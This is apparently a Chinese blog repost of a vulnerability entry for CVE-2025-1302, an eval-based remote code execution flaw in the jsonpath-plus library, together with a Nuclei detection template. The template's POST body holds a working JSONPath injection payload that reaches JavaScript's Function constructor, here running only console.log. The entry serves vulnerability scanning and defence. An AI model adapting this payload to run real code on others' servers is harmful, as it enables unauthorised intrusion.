jsonpath-plus Safe Eval RCE Vulnerability

漏洞信息

漏洞名称: jsonpath-plus Safe Eval RCE Vulnerability

漏洞编号:

  • CVE: CVE-2025-1302

漏洞类型: 代码注入

漏洞等级: 高危

漏洞描述: 该漏洞影响的是jsonpath-plus库,这是一个用于处理和查询JSON数据的JavaScript库,广泛应用于Web应用程序中,特别是在需要动态处理JSON数据的场景。由于其功能强大且易于集成,jsonpath-plus在许多现代Web应用和服务中被广泛使用。漏洞的技术根源在于jsonpath-plus库在处理某些特定的JSONPath表达式时,不安全地使用了eval()函数,这可能导致远程代码执行(RCE)。具体来说,攻击者可以构造恶意的JSONPath表达式,通过eval()函数执行任意JavaScript代码。这种漏洞的存在主要是因为输入验证不充分,未能有效过滤或转义可能导致代码执行的特定字符或结构。由于这种漏洞的存在,攻击者可以在未授权的情况下远程执行任意代码,可能导致数据泄露、服务中断或其他更严重的安全问题。值得注意的是,这种漏洞的利用不需要任何形式的身份验证,且可以自动化执行,因此其潜在的安全风险非常高。

产品厂商: JSONPath-Plus

产品名称: jsonpath-plus

影响版本: <10.3.0

来源: https://github.com/projectdiscovery/nuclei-templates/blob/1e3f0c921c0512ac14ca12de7a260fbaf1ed9afc/http%2Fcves%2F2025%2FCVE-2025-1302.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

id: CVE-2025-1302

info:
name: jsonpath-plus <10.3.0 - Safe Eval RCE Detection
author: Jaenact
severity: high
description: |
This template detects CVE-2025-1302 in jsonpath-plus (<10.3.0)
using a safe eval()-based payload. The payload uses harmless
JavaScript (console.log) to determine if unsafe evaluation occurs.
This is a non-exploitive template suitable for safe security testing.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-1302
- https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-8719585
- https://github.com/JSONPath-Plus/JSONPath
- https://github.com/EQSTLab/CVE-2025-1302

tags: cve,rce,jsonpath,eval,safe,json,application,js

http:
- method: POST
path:
- "{{BaseURL}}/query"
- "{{BaseURL}}/jsonpath"
- "{{BaseURL}}/api/query"
- "{{BaseURL}}/data"
- "{{BaseURL}}/parse"
- "{{BaseURL}}/filter"
- "{{BaseURL}}/expression"

headers:
Content-Type: application/json

body: |
{
"path":
"$..[?(EQST=''[['constructor']][['constructor']]('console.log(\"nuclei-safe\")');EQST())]"
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'nuclei-safe'

- type: word
part: body
negative: true
words:
- 'EQST'
- '"path"'


jsonpath-plus Safe Eval RCE Vulnerability
http://example.com/2025/07/26/github_3862113612/
作者
lianccc
发布于
2025年7月26日
许可协议